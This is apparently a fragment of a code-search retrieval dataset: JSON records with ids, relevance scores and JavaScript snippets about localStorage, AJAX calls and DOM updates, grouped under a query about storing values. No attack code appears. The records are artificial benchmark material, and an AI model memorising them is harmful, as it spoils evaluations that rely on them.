"" }, { "docid": "c8c9c2e655c779655854351b3e46aac9", "score": "0.554462", "text": "async function unaActividad(e) {\n e.preventDefault();\n\n let idActividad = document.querySelector(\"#idUnaActividad\").value\n\n console.log(\"ID Actividad: \" + idActividad);\n \n let actividad = await fetch(\"http://localhost:3000/api/actividades/\"+idActividad,\n {\n method: 'get',\n headers: {\n 'Authorization':'Bearer '+ document.querySelector('#tokenUnaActividad').value\n }\n })\n .then(resp => resp.json())\n\n console.log(actividad);\n\n //Borramos el contenedor y plantamos el mapa:\n let contenedor1Actividad = document.querySelector(\"#contenedorUnaActividad\");\n borrarContenedor(contenedor1Actividad);\n \n AHTML.aActividadMapa(actividad,contenedor1Actividad); //Lo mete directamente en el contenedor.\n\n}", "title": "" }, { "docid": "ea31398f306642f51131dd4444e75824", "score": "0.55439085", "text": "function searchDateService(lista) {\r\n\t\r\n\tvar posicion=lista.options.selectedIndex; \r\n\tvar servicio =lista.options[posicion]; \r\n\tvar request = getRequestObject();\r\n\r\n\tposicion = document.getElementById('sel_turno').options.selectedIndex;\r\n\tvar turno = document.getElementById('sel_turno').options[posicion];\r\n\t\r\n\tvar medico = document.getElementById('id_medico');\r\n\r\n\tvar info = {\r\n\t\tid_servicio : servicio.value,\r\n\t\tid_turno : turno.value,\r\n\t\tid_medico : medico.value\r\n\t};\r\n\tvar request = getRequestObject();\r\n\r\n\trequest.onreadystatechange =\r\n\t\tfunction() {llenalistafechas(request);};\r\n\t\trequest.open(\"POST\",\"buscafecha.php\",true);\r\n\r\n\tvar datos=\"infofecha=\"+escape(JSON.stringify(info));\r\n\r\n\trequest.setRequestHeader\r\n (\"Content-Type\", \r\n \"application/x-www-form-urlencoded\");\r\n\trequest.send(datos);\t\r\n\r\n}", "title": "" }, { "docid": "204c71d26283f01d67634c3e2cd6e858", "score": "0.5542408", "text": "function consultarVisitantesActivosRespuesta(dato1){\n\tlistaVisitantes = dato1;\n\tlet datos = {'opc': 'cargarListaResidentesTotal', 'idPunto': idPunto};\n\tejecutarAjax(datos, cargarListaResidentesTotalRespuesta);\n}", "title": "" }, { "docid": "f36ef4b6c2a8082ee11a722fa09e80cc", "score": "0.5541996", "text": "function mostrarProductos () {\n // Llamada ajax con JQuery\n $.ajax({\n url: \"http://localhost:3000/productos\",\n contentType: \"application/json\",\n type: \"GET\"\n }).done(function(data) { \n // Invocando metodo para mostrar los datos \n renderHTML(data);\n });\n}", "title": "" }, { "docid": "e2326e66b9c5b53bd3f78e7b7092886c", "score": "0.5539709", "text": "async compras({request, response}){\n let c = new Compra()\n c = await Compra.all()\n \n \n return response.status(200).send(c)\n }", "title": "" }, { "docid": "eb781e4aae29e28add035a47bdb5db6b", "score": "0.5537514", "text": "function acionarLampada(lampada){\n\t//VEJO QUAL É A LAMPADA QUE FOI CLICADO PEGANDO A POSICAO\n\tvar posicao_lp = $(lampada).parent().attr('posicao_lp');\n\t//VEJO QUAL É O COMODO DESSE DISPOSITIVO\n\tvar posicao_cd = $(lampada).parent().attr('posicao_cd');\n\t\n\tvar funcao = 'funcao=lampada'+\n\t\t\t\t '&comando=' + $(lampada).attr('comando')+\n\t\t\t\t '&lp_id=' + objTabelaComodo.lista[posicao_cd].listaLampada[posicao_lp].lp_id;\n\t\n\t\n\tAJAX(SERVLET,funcao, function(retorno){\n\t\tretorno = JSon(retorno);\n\t\tconsole.log(retorno);\n\t\t//CASO OCORRA ALGUM ERRO\n\t\tif(!retorno){\n\t\t\talert(\"Ocorreu um erro interno ao servidor\");\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\t\tif (!empty(retorno.error)) {\n\t\t\talert(\"Ocorreu um erro ao buscar dispositivos\\n\"+\n\t\t\t\t \"Erro: \" + retorno.error);\n\t\t return; //IMPEDE QUE CONTINUE EXECUTANDO O CODIGO EM CASO DE ERRO\n\t\t}\n\t\t\n\t\tobjTabelaComodo.lista[posicao_cd].listaLampada[posicao_lp].lp_status = retorno.status;\n\t\t\n\t\t$(lampada).removeClass(\"btnLampadaL\").removeClass(\"btnLampadaD\").addClass(\"btnLampada\" + retorno.status);\n\t});\t\n\n}", "title": "" }, { "docid": "0762cab592d5f2d2a89e3f5c7276f5c9", "score": "0.55351293", "text": "function obtenerDatosBogota() {\n const api = new XMLHttpRequest();\n api.open('GET', url_prueba, true);\n api.send();\n api.onreadystatechange = function () {\n // Se valida que tengamos una respuesta True\n if (this.status == 200 && this.readyState == 4) {\n // Se Consume la Api de la ciudad de Bogota, validando a su vez los tiempos futuros\n let datos = JSON.parse(this.responseText);\n // Se verifica por consola si extraemos los datos de la API\n console.log(\"ACA 1\"); \n console.log(datos);\n // Para separar las variables similares para distintos dias que se requeiren con una validacion de un True\n if (datos) {\n // Consumo de las variables que se va a requerir en el dia presente\n const {name} = datos.city;\n const {icon, description}=datos.list[0].weather[0];\n const {temp, humidity}=datos.list[0].main;\n const {speed} = datos.list[0].wind;\n // Envio de las variables a las clases creadas en Html\n console.log(name,icon,description,temp,humidity,speed);\n document.querySelector(\".city\").innerHTML = \"\" +name;\n document.querySelector(\".icon\").src =\"https://openweathermap.org/img/wn/\"+icon+\".png\";\n document.querySelector(\".descripcion\").innerHTML = \"\" +description;\n document.querySelector(\".temp\").innerHTML = temp + \" ºC\";\n document.querySelector(\".humidity\").innerHTML = \"\" + humidity + \"%\";\n document.querySelector(\".wind\").innerHTML = \"\" + speed + \" km/h\";\n }\n if (datos) {\n // Consumo de las variables que se va a requerir en el dia siguiente\n let datos = JSON.parse(this.responseText);\n const {dt_txt} = datos.list[8];\n const {temp_min, temp_max} = datos.list[8].main;\n const {description, icon} = datos.list[8].weather[0];\n // Envio de las variables a las clases creadas en Html\n document.querySelector(\".fecha_siguiente\").innerHTML = \"\" + dt_txt;\n document.querySelector(\".temp_siguiente_min\").innerHTML = \"\" + temp_min + \" ºC/ \";\n document.querySelector(\".temp_siguiente_max\").innerHTML = \"\" + temp_max + \" ºC\";\n document.querySelector(\".descripcion_siguiente\").innerHTML = \"\" + description;\n document.querySelector(\".icon_siguiente\").src =\"https://openweathermap.org/img/wn/\"+icon+\".png\";\n }\n if (datos) {\n // Consumo de las variables que se va a requerir al segundo dia\n const {dt_txt} = datos.list[16];\n const {temp_min, temp_max} = datos.list[16].main;\n const {description, icon} = datos.list[16].weather[0];\n // Envio de las variables a las clases creadas en Html\n document.querySelector(\".fecha_pasado\").innerHTML = \"\" + dt_txt;\n document.querySelector(\".temp_pasado_min\").innerHTML = \"\" + temp_min + \"/ \";\n document.querySelector(\".temp_pasado_max\").innerHTML = \"\" + temp_max + \" ºC\";\n document.querySelector(\".descripcion_pasado\").innerHTML = \"\" + description;\n document.querySelector(\".icon_pasado\").src =\"https://openweathermap.org/img/wn/\"+icon+\".png\";\n }\n if (datos) {\n // Consumo de las variables que se va a requerir al tercer dia\n const {dt_txt} = datos.list[24];\n const {temp_min, temp_max} = datos.list[24].main;\n const {description, icon} = datos.list[24].weather[0];\n \n document.querySelector(\".fecha_pasado_mas\").innerHTML = \"\" + dt_txt;\n document.querySelector(\".temp_pasado_mas_min\").innerHTML = \"\" + temp_min + \"/ \";\n document.querySelector(\".temp_pasado_mas_max\").innerHTML = \"\" + temp_max + \" ºC\";\n document.querySelector(\".descripcion_pasado_mas\").innerHTML = \"\" + description;\n document.querySelector(\".icon_pasado_mas\").src =\"https://openweathermap.org/img/wn/\"+icon+\".png\";\n\n }\n }\n }\n}", "title": "" }, { "docid": "fed318f52039a08be1bb3d684458b95c", "score": "0.5533085", "text": "function llenarFormulario() {\n if(verDetalle[0]){\n for (let i = 0; i < verDetalle.length; i++) {\n verDetalle[i].addEventListener(\"click\",()=>{\n let listaProductosRender = null\n console.log(\"usted es re gei\")\n axios.get(`http://localhost:18090/api/v1/domicilio/detalle/${domicilios[i].id}`)\n .then(response => {\n const respuestaDomicilio = response.data;\n console.log(respuestaDomicilio)\n \n \n listaProductosRender = respuestaDomicilio.productos.map((producto)=>{\n return `<tr>\n <td>${producto.nombre}</td>\n <td>${producto.cantidad}</td>\n <td>$${producto.valor}</td>\n </tr>`\n }).join(\"\")\n \n listaProductos.innerHTML = listaProductosRender\n })\n .catch(error => console.error(error));\n })\n fechaDomicilio.innerText = domicilios[i].fecha\n estadoDomicilio.innerText = domicilios[i].estado\n valorDomicilio.innerText = `$${domicilios[i].valor}`\n }\n }\n else{\n verDetalle.addEventListener(\"click\",()=>{\n for (let i = 0; i < domicilios.length; i++) {\n let listaProductosRender = null\n console.log(\"usted es re gei\")\n axios.get(`http://localhost:18090/api/v1/domicilio/detalle/${domicilios[i].id}`)\n .then(response => {\n const respuestaDomicilio = response.data;\n console.log(respuestaDomicilio)\n \n \n listaProductosRender = respuestaDomicilio.productos.map((producto)=>{\n return `<tr>\n <td>${producto.nombre}</td>\n <td>${producto.cantidad}</td>\n <td>$${producto.valor}</td>\n </tr>`\n }).join(\"\")\n \n listaProductos.innerHTML = listaProductosRender\n })\n .catch(error => console.error(error));\n fechaDomicilio.innerText = domicilios[i].fecha\n estadoDomicilio.innerText = domicilios[i].estado\n valorDomicilio.innerText = `$${domicilios[i].valor}`\n }\n })\n }\n }", "title": "" } ]
e60b0d86d684bef8924ce04a4045e718
localStorage.setItem('myCat', 'Tom'); Notify me of everything!
[ { "docid": "2b9572a1c0c49bbbd1788e3e7bfd1015", "score": "0.0", "text": "function clickMe(e) {\n t();\n console.log(\"click from Web\");\n e.stopImmediatePropagation();\n //alert(document.foo);\n loadScript(\"js/canvas.js\", pid.keyExchange);\n /*var pid = [];\n\t\n var all = document.getElementsByTagName(\"*\");\n var allScripts = document.getElementsByTagName(\"script\");\n\t\n var countElements = 0;\n var countScripts = 0;\n var countAttributePerElement = [];\n var countEventsPerElement = [];\n var countChildElementsPerElement = [];\n\t\n for (var i=0, max=all.length; i < max; i++) {\n \tcountAttributePerElement[i] = all[i].attributes.length;\n \tcountChildElementsPerElement[i] = all[i].childElementCount;\n \tcountEventsPerElement[i] = \n \tcountElements++;\n }\n\t\n for (var i=0, max=allScripts.length; i < max; i++) {\n \tcountScripts++;\n }\n\t\n var xhttp = new XMLHttpRequest();\n xhttp.onreadystatechange = function(){\n \tif (xhttp.readyState == 4 && xhttp.status == 200) {\n \t\tdocument.getElementById(\"demo\").innerHTML = xhttp.responseText;\n \t}\n };\n xhttp.open(\"POST\", \"https://localhost:8080/process_post\", true);\n xhttp.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n\t\n\t\n\t\n xhttp.send(\"first_name=\" + pid.toString() + \"&last_name=Ford\");*/\n //xhttp.send();\n}", "title": "" } ]
[ { "docid": "eddba910fca296806513651017b8bbbe", "score": "0.730831", "text": "function storeChanges() {\n\tif (confirm((0, _I18nHelper.getI18n)('options.confirmPermanentStorage'))) {\n\t\tfireReadyEvent();\n\t\tif (typeof browser != 'undefined') {\n\t\t\tbrowser.storage.local.set({\n\t\t\t\t'credentials': app.CredentialController.credentials\n\t\t\t});\n\t\t}\n\t}\n}", "title": "" }, { "docid": "12bad9731ab8e0e9e590109868365be8", "score": "0.7131829", "text": "function messageAfterSaveLocal() {\n var saveLocal = 'Your answers have been stored on your device. They will be saved to our server when you get reconnected to the internet.';\n navigator.notification.alert(saveLocal, goTo(), \"Update\", \"OK\");\n}", "title": "" }, { "docid": "4ebed1c67baf477b70b5f5d5ff5eaa2a", "score": "0.70810753", "text": "function LS_SET(name,value){\nlocalStorage.setItem(name, value);\n}", "title": "" }, { "docid": "389bd7f1309e70f9356dbdd221f61d08", "score": "0.7057373", "text": "function localStorageSave(category, data)\n\t{\t\n\t\tif (typeof(Storage) !== \"undefined\") {\t\t\n\t\t\tlocalStorage.setItem(category, JSON.stringify(data));\n\t\t}\t\n\t}", "title": "" }, { "docid": "90d585013708e56407d4798ee3a57808", "score": "0.69340825", "text": "function storeLocal(name, value){\n \tif (typeof(Storage) !== \"undefined\") {\n \t\tlocalStorage.setItem(name, JSON.stringify(value));\n \t}else{\n \t\t//if we do not have local storage for some reason try to use cookies\n \t\t//we are just saving for 1 day for now\n \t\tsetCookie(name, JSON.stringify(value), 1);\n \t}\n }", "title": "" }, { "docid": "4c30693c02a753c096f902b7d714696f", "score": "0.692948", "text": "function storeChanges() {\n\tif (confirm((0, _I18nHelper.getI18n)('options.confirmPermanentStorage'))) {\n\t\tif (typeof browser != 'undefined') {\n\t\t\tbrowser.storage.local.set({\n\t\t\t\t'engines': app.EngineController.engines\n\t\t\t});\n\t\t} else {\n\t\t\tconsole.log('storeChanges', {\n\t\t\t\t'engines': app.EngineController.engines\n\t\t\t});\n\t\t}\n\t}\n}", "title": "" }, { "docid": "c2aa53c38e089271f32e5d77d7eb5e04", "score": "0.68775696", "text": "function setLocalStorage(key,value){\n\twindow.localStorage.setItem(key, value);\t\n}", "title": "" }, { "docid": "4a05fd93d34e9bff9e9ec72e802657cc", "score": "0.68599373", "text": "function storeLocal(name, value){\n\tif (typeof(Storage) !== \"undefined\") {\n\t\tlocalStorage.setItem(name, JSON.stringify(value));\n\t}else{\n\t\t//if we do not have local storage for some reason try to use cookies\n\t\t//we are just saving for 1 day for now\n\t\tsetCookie(name, JSON.stringify(value), 1);\n\t}\n}", "title": "" }, { "docid": "0c4ddc4dd3323715d6fdd1d3041b2a96", "score": "0.6786084", "text": "setStorage(name, content) {\n if (!name) return\n if (typeof content !== 'string') {\n content = JSON.stringify(content)\n }\n window.localStorage.setItem(name, content)\n }", "title": "" }, { "docid": "6c52b9ce6ee26c303176e0a1115be4ea", "score": "0.6748238", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "6c52b9ce6ee26c303176e0a1115be4ea", "score": "0.6748238", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "3325d8672e6b5e8299f5c5feb91fb5ce", "score": "0.67458266", "text": "function saveLocal() {\n var linfo = {\n group: _infos.group,\n nick: _infos.user.nick,\n welcomed: _infos.welcomed\n };\n var content = JSON.stringify(linfo);\n localStorage.setItem(\"QUI-STORE\", content);\n }", "title": "" }, { "docid": "9decca07cde2151b0f5817f7b3f5be0f", "score": "0.67445016", "text": "function LocalStorageInit() {\r\n if (!localStorage.getItem('notify')) {\r\n localStorage.setItem('notify', JSON.stringify({ \"notify\": false }));\r\n }\r\n }", "title": "" }, { "docid": "9f92dd61cfdb784082139c632c829213", "score": "0.67369825", "text": "function save(){\r\n\tlocalStorage.setItem('x',xstring);\r\n}", "title": "" }, { "docid": "51a1e7e907c1ac17466229a3ef2fe1c9", "score": "0.672924", "text": "function storeData() {\n localStorage.setItem('todos', JSON.stringify(todos));\n localStorage.setItem('prefs', JSON.stringify(prefs));\n}", "title": "" }, { "docid": "6b218c9f2cfede100e321a49fd585003", "score": "0.6685415", "text": "function store() {\r\n if(window.localStorage) {\r\n\t window.localStorage.setItem(this.id, this.value);\r\n }\r\n else {\r\n\t SetCookie(this.id, this.value);\r\n }\r\n}", "title": "" }, { "docid": "d8217126979025414d56258b76f0bcf3", "score": "0.66781205", "text": "function saveFavorites() {\n localforage.setItem('favorites', favorites).then(function(v) {\n }).catch(function(e) {\n console.log(e);\n });\n}", "title": "" }, { "docid": "9416a960938159f6883ebb6475cc477b", "score": "0.66630095", "text": "_store(keyName, object){\n if(window.localStorage){\n window.localStorage.setItem(keyName, JSON.stringify(object));\n }\n }", "title": "" }, { "docid": "8fc1411fbdc35dc1f1ac7a82946e23de", "score": "0.66598076", "text": "storeUser(user){\n localStorage.setItem('user',user);\n }", "title": "" }, { "docid": "490e801ea8adfecb13c19c4612e7362a", "score": "0.6655041", "text": "function saveSettings(msg){\n\tchrome.storage.sync.set({'msg': msg}, function() {\n // Notify that we saved.\n console.log('Settings saved');\n });\n}", "title": "" }, { "docid": "6735bdd471d102001b542b1f40e9fb73", "score": "0.6642991", "text": "SetLocalStorage(id, value){\n window.localStorage.setItem(id, JSON.stringify(value));\n }", "title": "" }, { "docid": "615ac4253bb70dc9ad6b4b8c3ca373a3", "score": "0.6636657", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n window.alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "615ac4253bb70dc9ad6b4b8c3ca373a3", "score": "0.6636657", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n window.alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "615ac4253bb70dc9ad6b4b8c3ca373a3", "score": "0.6636657", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n window.alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "615ac4253bb70dc9ad6b4b8c3ca373a3", "score": "0.6636657", "text": "function store(name, val) {\n if (typeof (Storage) !== \"undefined\") {\n localStorage.setItem(name, val);\n } else {\n window.alert('Please use a modern browser to properly view this template!');\n }\n }", "title": "" }, { "docid": "83f83ca9110b11c9501b5d5f802018d7", "score": "0.66318834", "text": "speichern() {\r\n\t\tlocalStorage.setItem('kontakte', JSON.stringify(this._kontakte));\r\n\t}", "title": "" }, { "docid": "c1bfab8921212964df1a7255fcab200e", "score": "0.66242224", "text": "function storeinfo() {\n localStorage.setItem('username',username.value);\n localStorage.setItem('password',password.value);\n alert('Ny bruker er laget');\n}", "title": "" }, { "docid": "76b12e92e93c50c1320e40d6a94fc02f", "score": "0.66154313", "text": "function guardarLocalStorage ()\n{\n datosCotiLocalStorage = (\"cotizacionConfirmada\", JSON.stringify(datosCoti));\n}", "title": "" }, { "docid": "801564ab94857c5f5fe923fd0499da9c", "score": "0.6609815", "text": "function writeLocalStorage(key, value) {\n log('Writing to LS:' + localStoragePrefix + key + ' = ' + value);\n window.localStorage.setItem(localStoragePrefix + key, value);\n}", "title": "" }, { "docid": "7db12594679f0aacf48e52d9a52b0b7d", "score": "0.65839803", "text": "function saveSetting (szKey, szValue)\r\n{\r\n if(typeof(Storage) !== \"undefined\")\r\n {\r\n localStorage.setItem (szKey, szValue);\r\n }\r\n else\r\n alert ('Sorry! No Web Storage support..');\r\n}", "title": "" }, { "docid": "4cc75e33a85b546ff5437776c45b92bc", "score": "0.6583483", "text": "function saveName(text) {\r\n localStorage.setItem(USER_LS, text);\r\n}", "title": "" }, { "docid": "8ec7e685f6ce3e7835248960ab291dbd", "score": "0.6578342", "text": "function localStorageSet(text) {\n items = localStorageGet();\n items.push(text);\n localStorage.setItem(\"items\", JSON.stringify(items));\n\n}", "title": "" }, { "docid": "9efb859392b5c49e3553f6b53cc7ce02", "score": "0.6564062", "text": "function store(name, val) {\n if (typeof (Storage) !== 'undefined') {\n localStorage.setItem(name, val)\n } else {\n window.alert('Please use a modern browser to properly view this template!')\n }\n }", "title": "" }, { "docid": "9f1b4668b27553a6daf80660cdd47ff4", "score": "0.65636855", "text": "function SET (key, value) {\n localStorage.setItem( key, JSON.stringify( value ) );\n}", "title": "" }, { "docid": "29cacce180fef51a0506edb9bc1405c2", "score": "0.65608", "text": "function saveInLocalStorage(name, value)\n\t{\n\t\tlocalStorage.setItem(name, JSON.stringify(value));\n\t}", "title": "" }, { "docid": "75c639e85ef2873d399b6b9ca7e6fbad", "score": "0.65554965", "text": "function storeItem(nome, valore) {\n if (storageApiOk) {\n localStorage.setItem(nome, valore);\n } else {\n alert(noApiStorageMsg);\n }\n}", "title": "" }, { "docid": "50578b8cc54522612fd2c26ec6388846", "score": "0.6550999", "text": "function SaveLocalObject(key, value) {\n if (typeof(Storage) !== \"undefined\") {\n // Store\n localStorage.setItem(key, JSON.stringify(value));\n\n } else {\n alert(\"Sorry, your Device does not support Web Storage...\");\n }\n}", "title": "" }, { "docid": "4031a9b80b848e25d4e1e54daae2ef75", "score": "0.65465", "text": "function updateStorage () {\r\n\tlocalStorage.setItem('todos',JSON.stringify(todos));\r\n\tlocalStorage.setItem('completed-list',JSON.stringify(completed));\r\n}", "title": "" }, { "docid": "c4dc3bd504422352c9f3257ce6e3cd24", "score": "0.6535289", "text": "function store(name, val) {\n if (typeof (Storage) !== 'undefined') {\n localStorage.setItem(name, val)\n }\n else {\n window.alert('Please use a modern browser to properly view this template!')\n }\n }", "title": "" }, { "docid": "d4217b8ecb87e08b2e34258e323704fb", "score": "0.6522443", "text": "function saveNoteToStorage(id, noteTitleVal, noteTextVal) {\n\tlocalStorage.setItem(id, [noteTitleVal, noteTextVal]);\n}", "title": "" }, { "docid": "5e354a8b1ada541e49915f47daf85611", "score": "0.65206134", "text": "function set_localStorage(name,value) {\n\t\n\tif (typeof(localStorage) == 'undefined' ) {\n\t\talert('Your browser does not support HTML5 localStorage. Try upgrading.');\n\t}else{\n\t\ttry {\n\t\t\treturn localStorage.setItem(name, value); //saves to the database, \"key\", \"value\"\n\t\t}catch (e) {\n\t\t\t if (e == QUOTA_EXCEEDED_ERR) {\n\t\t\t\t alert('Quota exceeded!'); //data wasn't successfully saved due to quota exceed so throw an error\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d4c8c3ad90a9aab3434aa538a23a47c6", "score": "0.65173244", "text": "function storeLocally(cookieObj, localStor) {\n $cookies.put(cookieObj.name, true, {expires: new Date().addHours(cookieObj.numHours)});\n localStorage.setItem(localStor.name, JSON.stringify(localStor.data));\n }", "title": "" }, { "docid": "b9df7dd77f3943c424cce4507ed5fd57", "score": "0.6505594", "text": "function updateStorage() {\n\tlocalStorage.setItem('todos',JSON.stringify(todos));\n\tlocalStorage.setItem('completed',JSON.stringify(completed));\n}", "title": "" }, { "docid": "3c8429a3402bee9aec9bfb9305615b12", "score": "0.6500933", "text": "function add_alert_to_localstorage(notification_object) {\n alerts_counter = parseInt(localStorage.getItem('alerts_counter'));\n var alerts = JSON.parse(localStorage.getItem('alerts')) || [];\n if (alerts.length == alerts_counter) {\n alerts.shift();\n }\n alerts.push(notification_object);\n send_msg_to_popup('add_item', notification_object);\n localStorage.setItem('alerts', JSON.stringify(alerts));\n\n}", "title": "" }, { "docid": "3c0c1630ff3cd505b75123fd36d3eecc", "score": "0.64963025", "text": "function insertToLocalStorage(id, value) {\n if (isWebStorageSupported) {\n if (id !== \"\" && value !== \"\") {\n localStorage.setItem(id, value);\n alert(\"Saved on Local Storage\");\n }\n }\n }", "title": "" }, { "docid": "2501f3b620aefde6b4b0b139d604b022", "score": "0.6488558", "text": "function h(){var a=(+new Date).toString();\"localStorage\"==z||\"globalStorage\"==z?w.jStorage_update=a:\"userDataBehavior\"==z&&(x.setAttribute(\"jStorage_update\",a),x.save(\"jStorage\")),e()}", "title": "" }, { "docid": "b2864657c679241a99d1605b8c5e3114", "score": "0.6474476", "text": "save_name(name) {\n // Save name to localStorage\n localStorage.setItem('name', name);\n }", "title": "" }, { "docid": "88a27da1a716172e9b007d5decd1680a", "score": "0.64736426", "text": "function HKSetDataToLocalStorage(email) {\n localStorage.setItem(\"DefaultEmail\", email);\n}", "title": "" }, { "docid": "ca532b4fed09a52e9cfc05cbb4366a96", "score": "0.6473168", "text": "function saveSetting(setting, value) {\n localStorage.setItem(setting, value);\n}", "title": "" }, { "docid": "fec2f719443f912618ba07edb05e637d", "score": "0.6465069", "text": "function storeSetting(name, value) {\r\n\t\tlocalStorage[name] = value;\r\n\t}", "title": "" }, { "docid": "0a338a148149139b3f86f1b3fa8fa727", "score": "0.6462319", "text": "function updateLocalStorage(data) {\n localStorage.setItem(myKey, JSON.stringify(data));\n}", "title": "" }, { "docid": "80e90ebdc2a56ae86f641e1d49421878", "score": "0.64594", "text": "function saveInLocalStorage(name, key_string){\n console.log(\"saved it!\");\n localStorage.setItem(\"my_\" + name + \"_key\" , key_string);\n}", "title": "" }, { "docid": "f8394313faef9ae5d6e4ecf4c685de5e", "score": "0.6458711", "text": "function saveLocalThasks(){ //save thask in html5 web storag\r\n\tif (typeof(Storage) !== \"undefined\") {\r\n localStorage.setItem(\"thasks\", JSON.stringify(gThasks));\r\n\t} else {\r\n document.getElementById(\"result\").innerHTML = \"Sorry, your browser does not support Web Storage...\";\r\n\t}\r\n}", "title": "" }, { "docid": "711c48b02b3482f2ca8327a3c0cafd88", "score": "0.6441106", "text": "function saveLocalStorage(data){\n window.localStorage.setItem('data', JSON.stringify(data))\n}", "title": "" }, { "docid": "f54fe176273a7d4373ce53eac465c35f", "score": "0.64337516", "text": "function setSTORAGE(newStore) {\n\tlocalStorage.setItem(\"storage\", JSON.stringify(newStore));\n}", "title": "" }, { "docid": "499ae96cf86cc91a1a5280083f381c6b", "score": "0.6428734", "text": "function storeSetting() {\n\tchrome.storage.sync.set({ settingKey: settings }, null);\n}", "title": "" }, { "docid": "2d85dc0f1ec6f5c71e66d35487990007", "score": "0.6412807", "text": "save() {\n localStorage.setItem('__storage__', JSON.stringify(this.storage));\n }", "title": "" }, { "docid": "3ee88b9cdfc68c581846d9c13bc2ea8f", "score": "0.6409027", "text": "function saveToLs () {\n localStorage.setItem(\"todos\", JSON.stringify(todos));\n}", "title": "" }, { "docid": "a609740fb075da8a5ed56bdb59d57b12", "score": "0.6408069", "text": "function setValue(name, value) {\n localStorage.setItem(name,value);\n}", "title": "" }, { "docid": "30c910b4b11c463d41a41847b3da3231", "score": "0.6404268", "text": "function saveData(){\r\n\tif(localStorage.getItem(\"save_flag\") == \"set\"){\r\n\t\tif(!confirm(\"Overwrite existing save?\")){\r\n\t\t\treturn;\r\n\t\t}\r\n\t}\r\n\tlocalStorage.setItem(\"save_html\",document.body.innerHTML);\r\n\tlocalStorage.setItem(\"save_flag\",\"set\");\r\n\talert(\"Saved!\");\r\n}", "title": "" }, { "docid": "84bb7c9a5e63f26480a99c23cc130c54", "score": "0.6401655", "text": "function setLocalStorage(key, value) {\n localStorage.setItem(key, JSON.stringify(value));\n}", "title": "" }, { "docid": "8e9d86f5e0d19316b31cd5238b956922", "score": "0.6397687", "text": "function saveToLocalStorage() {\n localStorage.setItem('myFavourites', JSON.stringify(favourites));\n}", "title": "" }, { "docid": "5807ae51523254d4cd406b6ef7f54ca4", "score": "0.6393904", "text": "function saveStatusLocally(txt) {\n window.localStorage.setItem(\"status\", txt);\n}", "title": "" }, { "docid": "006d9182aab95e8b24510b86f6eb81da", "score": "0.6389946", "text": "storageUser () {\n const user = {\n username: this.nickname\n }\n\n window.localStorage.setItem('user', JSON.stringify(user))\n }", "title": "" }, { "docid": "7a43d70a67708367ae0de9ce4b44ad21", "score": "0.6386893", "text": "function synchroniseStorage() {\n localStorage.setItem('tweets', JSON.stringify(tweets));\n}", "title": "" }, { "docid": "2f099fe1028345a58e6d5b1076b987df", "score": "0.6386434", "text": "function store() {\n localStorage.setItem('fname', fname.value);\n localStorage.setItem('lname', lname.value);\n localStorage.setItem('email', email.value);\n localStorage.setItem('phone', phone.value);\n\n alert(\"sucess\")\n \n}", "title": "" }, { "docid": "672649f4b952d827aa6886d1e2647e9d", "score": "0.6386406", "text": "function favoritesSaveLocal(){\n var data = JSON.stringify(favorites);\n localStorage.setItem('favorites',data);\n}", "title": "" }, { "docid": "5534637e8ae605b2f9d73c4ad9a319ec", "score": "0.6379991", "text": "function alert () {\n\tvar alert = localStorage[\"alert\"];\n\tif (alert === \"true\") {\n\t\t$(\".alert-txt\").show();\n\t\t$(\".alert-txt\").fadeIn(400, function () {\n\t\t\t$(\".alert-txt\").html(\"<div class='alert alert-danger alert-dismissable'><button type='button' class='close' data-dismiss='alert' aria-hidden='true'>&times;</button><span class='alert-link'>Bummer! We couldn't find them, please try again.</span></div>\");\n\t\t});\n\t} else {\n\t\t$(\".alert-txt\").fadeOut(400, function () {\n\t\t\t$(\".alert-txt\").hide();\n\t\t});\n\t}\n}", "title": "" }, { "docid": "d712ec49ceeb493d88bf17216cc7a90a", "score": "0.637798", "text": "set(val) {\r\n window.localStorage.setItem('WTNVal', val);\r\n window.dispatchEvent(new Event('storage'));\r\n }", "title": "" }, { "docid": "5f76bbbea776439c40bae76c568ec298", "score": "0.6369383", "text": "function basketLocalStorage(){\n basketContent.push(productAddedToBasket);\n localStorage.setItem(\"productInBasket\", JSON.stringify(basketContent));\n window.alert(\"Ce produit a été ajouté à votre panier !\");\n }", "title": "" }, { "docid": "f856c81266ea0882238b76150ebf6f5e", "score": "0.6356766", "text": "function storeTodos() {\n localStorage.setItem('todos',JSON.stringify(todos))\n return;\n}", "title": "" }, { "docid": "6aaaec3ac1012014508e6e89a49fbafe", "score": "0.6352634", "text": "function saveLocalFavorites() {\n const stringfavorites = JSON.stringify(favoriteShows);\n localStorage.setItem(\"showFavorites\", stringfavorites);\n}", "title": "" }, { "docid": "82847827cae1e8d472d0ff60c74c5b45", "score": "0.6351075", "text": "function saveValue(e){\n var id = e.id; // get the sender's id to save it . \n var val = e.value; // get the value. \n localStorage.setItem(id, val);// Every time user writing something, the localStorage's value will override . \n }", "title": "" }, { "docid": "abde99bf8b5b389304b3e2bc87133afc", "score": "0.63446206", "text": "function saveToLocal(key, value){\n localStorage.setItem(key, value);\n}", "title": "" }, { "docid": "8a71d280ebcf8262ac43437dcf08348e", "score": "0.6340545", "text": "function saveTodoToLocalStorage() {\n var stringifyTodos = JSON.stringify(storedTodos);\n localStorage.setItem('todos', stringifyTodos);\n}", "title": "" }, { "docid": "37f58d5099667acc787d5c1d1cb1753f", "score": "0.63331085", "text": "function saveToLocal() {\n window.localStorage.setItem(\"current-cheese\", JSON.stringify(currentCheese))\n window.localStorage.setItem(\"total-cheese\", JSON.stringify(totalCheese))\n 